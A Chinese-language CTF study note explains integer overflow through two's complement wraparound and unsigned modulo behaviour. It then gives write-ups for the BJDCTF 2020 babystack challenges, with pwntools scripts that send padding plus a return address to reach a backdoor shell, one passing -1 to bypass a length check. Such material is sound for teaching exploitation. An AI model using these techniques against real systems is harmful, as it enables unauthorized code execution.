特殊的栈溢出-整数溢出

整数溢出介绍

1766476440219-b1cb315b-2309-40da-b781-fd9fcad24d41.png

上界溢出（加法溢出add）

有符号上界溢出
1766476532914-e00ba314-ea08-4a08-901e-96b2dfd7c42f.png
有符号整数的补码存储规则32767+1=-32768

—— 计算机中所有有符号整数都用 “补码” 表示，这是溢出后数值回绕的根本原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
1）先明确 short int 的基础属性
存储长度：2 字节 = 16 位二进制（bit），只能存储 16 位的 0/1 组合；
有符号规则：最高位左边第一位是 “符号位”：
符号位 = 0 → 正数；
符号位 = 1 → 负数；
取值范围推导：
正数：符号位 0，剩下 15 位表示数值（0~2¹⁵-1）→ 0~32767
（对应十六进制 0x0000~0x7FFF）；
负数：符号位 1，剩下 15 位通过 “补码规则” 表示数值 → 最小是-32768
（对应十六进制 0x8000），最大是-1（对应十六进制 0xFFFF）。

2）补码规则到底是什么？
补码的设计目的是：
让计算机用 “加法” 统一实现 “加减法”（不用单独设计减法电路），规则分两种情况：
正数的补码：就是它本身的二进制（原码 = 补码）；
例：32767（十进制）→ 二进制0111 1111 1111 1111（符号位 0，后 15 位全 1）
                  → 十六进制 0x7FFF；
负数的补码：等于 “其绝对值的二进制（原码）按位取反 + 1”（简称 “取反加 1”）；
例：-1（十进制）→ 绝对值 1 的二进制0000 0000 0000 0001 
               → 按位取反1111 1111 1111 1110 
               → +1 后1111 1111 1111 1111（十六进制 0xFFFF）。
3）为什么 0x8000 是 - 32768？（关键推导）
0x8000 是十六进制，先转成 16 位二进制:1000 0000 0000 0000（符号位 1，后 15 位全 0）。
按补码规则反向推导（已知补码求原数，即负数的绝对值）：
补码 → 先减 1（逆操作 “加 1”）：1000 0000 0000 0000-1=0111 1111 1111 1111；
再按位取反（逆操作 “取反”）:0111 1111 1111 1111取反后是1000 0000 0000 0000？

1000 0000 0000 0000是 16 位有符号数的 “特殊边界”：
后 15 位全 0，按补码规则，它对应的绝对值是 “2¹⁵ = 32768”；
符号位是 1（负数），因此最终表示 “-32768”。
补充：为什么它特殊？因为 32768 的二进制是1000 0000 0000 0000（17 位），
但 short int 只有 16 位，无法存储 17 位的 “正数 32768”，
所以这个 16 位二进制组合1000 0000 0000 0000，
只能按补码规则解读为 “-32768”（有符号数的最小边界）。

4）32767+1 为什么会变成 - 32768？（数值回绕过程）
结合前面的规则，一步步看运算的底层逻辑：
32767 的二进制：0111 1111 1111 1111（0x7FFF，有符号正数的最大值）；
执行 + 1 运算：0111 1111 1111 1111 + 1 = 1000 0000 0000 0000
（二进制加法，逢 2 进 1，最后一位 1+1=0 进 1，
一直进位到符号位，把符号位从 0 变成 1）；
结果的二进制是1000 0000 0000 0000（0x8000）；
按有符号 short int 的补码规则解读这个结果：符号位 1（负数），对应数值 - 32768；
关键：short int 只有 16 位，无法存储 “32768”（需要 17 位），
所以运算结果超出 16 位的部分被 “截断”，只保留低 16 位，
最终呈现 “最大值 + 1 = 最小值” 的数值回绕（也叫 “溢出回绕”）。
一句话总结

有符号 short int 的存储位数（16 位）和补码规则，决定了：

  • 最大正数是 0x7FFF（32767），再 + 1 就会进位到符号位，变成 0x8000；
  • 0x8000 按补码解读是 - 32768（有符号最小数）；
  • 本质是 “存储位数不够导致溢出，补码规则让溢出结果回绕到最小值”。

这也是所有有符号整数溢出的共性逻辑（比如 32 位 int 的 2147483647+1=-2147483648，原理完全一致，只是位数从 16 位变成 32 位）。

无符号上界溢出1766476705113-1c2df336-e947-4cb2-b34a-92c08ae19fd2.png

1. 无符号short int的溢出示例

  • 类型属性：unsigned short int（2 字节）的取值范围是065535（十六进制0x00000xffff）；
  • 溢出现象：当变量b=0xffff（即 65535）时，执行b = b + 1，结果会溢出为0x0000（即 0）。

2. 底层汇编逻辑的差异

  • 无符号运算的汇编指令：直接对内存中的 2 字节数据操作（add word ptr [ebp - 0xa], 1），因0xffff + 1 = 0x10000，而 2 字节仅保留低 16 位，最终结果为0x0000；
  • 与有符号运算的共性：有符号short int运算时，寄存器（eax）会得到0x10000，但仅将低 2 字节（ax=0x0000）写回内存，因此存储结果与无符号一致。

3. 数值层面的逻辑差异

类型 0xffff 的数值含义 0xffff + 1 的结果 结果的合理性
有符号short int -1 0 符合数学逻辑（-1+1=0）
无符号short int 65535 0 不符合数学逻辑（65535+1≠0）

4. 核心结论

无符号整数的溢出本质是模运算结果（以 “类型最大值 + 1” 为模），而有符号整数的溢出则是补码规则下的数值回绕，二者因 “数值含义的定义不同”，导致同一存储结果的逻辑合理性存在差异。

下界溢出（减法溢出sub）

1766479992803-6e910e49-d4ba-4a1b-bca8-38907b83f71c.png

整数溢出的类型

1766480149096-51ce0c6e-b939-4515-96b7-7c520aeffa5d.png

malloc申请大小的空间为0xf,将data_len读入到buf中会造成溢出

read(0,buf,data_len)

文件描述符（fd）：0 是标准输入（stdin）的固定描述符（键盘 / 管道输入）；

buf:内存缓冲区指针：指向一段连续内存（如数组、malloc 分配的空间），用于存储读取到的数据

data_len:期望读取的字节数：要求系统最多读取 data_len 个字节到 buf 中1766480666401-8a37492d-85db-4018-8d82-5e7c7a7233f1.png

通过IDA分析

1766481071614-61daae3b-5f48-4581-9c23-5b46e692318a.png

可以分析到buf至少是228个字节大于0x199u应该是不会有溢出的

例题//整数溢出

1）[BJDCTF 2020]babystack

1766485129984-16845713-8518-462e-b02e-a3c835e48643.png
1766485219605-356e217f-3405-4cef-ab1f-fc9f0279c11d.png
1766487641882-99c7ea5b-8724-48e2-a9d5-1a383df6aca2.pngsetvbuf(stdout, 0, 2, 0)

的核心是将标准输出设为无缓冲模式，在溢出调试、漏洞利用中是关键操作 —— 解决输出缓冲导致的信息丢失，确保调试 / 利用过程中能即时看到程序输出，精准分析溢出行为。

  • __isoc99_scanf("%d", &nbytes);：让用户输入下次输入时接受的数据的长度。
  • read(0, &buf, (unsigned int)nbytes);：变量nbytes用户可控，存在栈溢出。
LODWORD(nbytes) = 0; （HIDWORD是高三十二位）

→ 把 nbytes 的低 32 位内存区域直接赋值为 0，分两种场景：

nbytes
****类型		 执行效果 内存示例（十六进制）
32 位（DWORD） 整个变量被置为 0（等价于nbytes = 0;） 原0x12345678
→ 置 0 后0x00000000
64 位（DWORD64） 低 32 位清 0，高 32 位保持不变 原0x11223344 55667788
→ 置 0 后0x11223344
操作 溢出后 nbytes（64 位） 低 32 位值 32 位视角下的 read 长度 结果
LODWORD(nbytes)=0; 0x1000FFFF 0 0 无操作，规避溢出
未清零低 32 位 0x1000FFFF 0xFFFF 65535 缓冲区溢出（风险）

“截断” 的本质是：64 位nbytes本是完整的超大值，但LODWORD(nbytes)=0 强行把低 32 位 “砍断并清零”，相当于只保留高 32 位、丢弃低 32 位的有效数值；而 32 位程序只能识别低 32 位，因此最终操作长度被 “截断为 0”，从根源上避免了溢出后的超大长度导致的内存越界。

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
    char buf[10]; // 固定大小10字节缓冲区
    // __isoc99_scanf等价于scanf，无长度限制时，输入超过10字节会溢出
    __isoc99_scanf("%s", buf); // 攻击者输入100个字符，覆盖buf外的内存
    return 0;
}

简单说一下题：通过IDA分析断定，输入长度取一个比较大的值，为后续溢出做准备，寻找覆盖当前栈和rbp的字节数以及后门函数构造payload就可以获取shell去拿flag。

exp 1）
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#导入pwntools模块：
from pwn import *
 
#和靶机进行连接：
r = remote("node5.buuoj.cn",29658)
 
#给nbytes赋值（给值相对大点，太小不行，要让他足够溢出覆盖rbp并寻找到后门函数
r.sendline('50')
 
#定义 payload
payload = b'a' * 24 + p64(0x4006E6)
 
#发送payload
r.sendline(payload)
 
#获取靶机交互式终端：
r.interactive()
1766487848011-9e45be0a-0354-406d-8146-9ec5ff827240.png

2）[BJDCTF 2020]babystack2.01766488499948-d7f5ccbe-7e1c-4472-8a32-d6fedd97d740.png1766488834844-980cb1f8-b61e-47d7-9a32-a15c6b58abc4.png1766488746454-4ebeadac-12b7-4582-8f7a-739fbb2846fd.png

不同与上一题，限制了名字长度防止了由于长度不限制造成的栈溢出

如果想要让read函数存在溢出，起码要让read的nbytes大于0x10，但是又被上面的if条件给限制住了，不能大于0x10，那么这里存在一个整数溢出，如果我们输入的是 -1 那么就可以绕过if条件了，同时可以看到read函数的nbytes是unsigned int，unsigned int是无符号整型，遇到-1就会变成unsigned int的最大值，这样就可以让栈溢出

exp 2）
1
2
3
4
5
6
from pwn import *
r=remote("node4.anna.nssctf.cn",28281)
r.sendline('-1')
payload=b'a'*24 + p64(0x40072A)
r.sendline(payload)
r.interactive()
1766489185552-762dba68-bd76-45ca-b038-45786a5fdfcf.png 1766481830654-965bf7df-16c9-4f0f-b4a8-f8794b1be6ce.png

更新: 2026-04-05 14:00:00
原文: https://www.yuque.com/idcm/wnemg9/zuig3xggn61of4bc